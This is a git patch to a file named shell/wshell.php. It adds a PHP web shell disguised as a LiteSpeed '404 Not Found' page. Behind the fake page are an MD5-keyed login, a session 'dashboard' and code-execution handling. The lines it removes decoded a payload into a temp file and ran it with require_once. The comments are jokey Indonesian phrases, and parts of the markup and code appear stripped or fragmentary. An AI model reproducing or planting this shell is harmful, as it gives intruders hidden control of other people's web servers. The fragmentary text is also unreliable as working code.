From e16bad17a533df534280cc8bf37afb6e6a4bd2ce Mon Sep 17 00:00:00 2001 From: Syn Naulaid Date: Thu, 30 Jan 2025 20:42:29 +0000 Subject: [PATCH] Update shell/wshell.php --- shell/wshell.php | 122 ++++++++++++++++++++++++++++++++++++++++------- 1 file changed, 104 insertions(+), 18 deletions(-) diff --git a/shell/wshell.php b/shell/wshell.php index 2dc79f5..990d320 100644 --- a/shell/wshell.php +++ b/shell/wshell.php @@ -1,27 +1,113 @@ + + + + 404 Not Found + + + + + +
+

404

+

Not Found +

+

The resource requested could not be found on this server!

+ +

+ +
+ + + +
+
+
Proudly powered by LiteSpeed Web Server

Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.

+ + + + " . $clean_code); +} -$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_'); -file_put_contents($tempFile, $decoded_code); +// Cek apakah Dia Ingin keluar hati +if (isset($_GET['action']) && $_GET['action'] === 'logout') { + session_destroy(); + header("Location: ?"); // Redirect ke Hati orang lain + exit; +} +// Cek apakah Dia sudah memiliki seseorang? +$error_message = ''; +if (isset($_POST['key'])) { + $input_key = $_POST['key']; + $input_key_hash = md5($input_key); -require_once $tempFile; -unlink($tempFile); + // Cek apakah Cintaku padanya diterima? + if ($input_key_hash === $valid_key_hash) { + $_SESSION['loggedin'] = true; + header("Location: ?"); // Redirect ke Hati Dia untuk refresh + exit; + } else { + $error_message = "hatimu Tidak diterima, Cobalah untuk sadar diri!"; // Kesalahan Hati + } +} -?> \ No newline at end of file +// Jika sudah login ke hatinya +if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) { + show_dashboard(); +} else { + // Jika belum login + show_login_form($error_message); +} +?>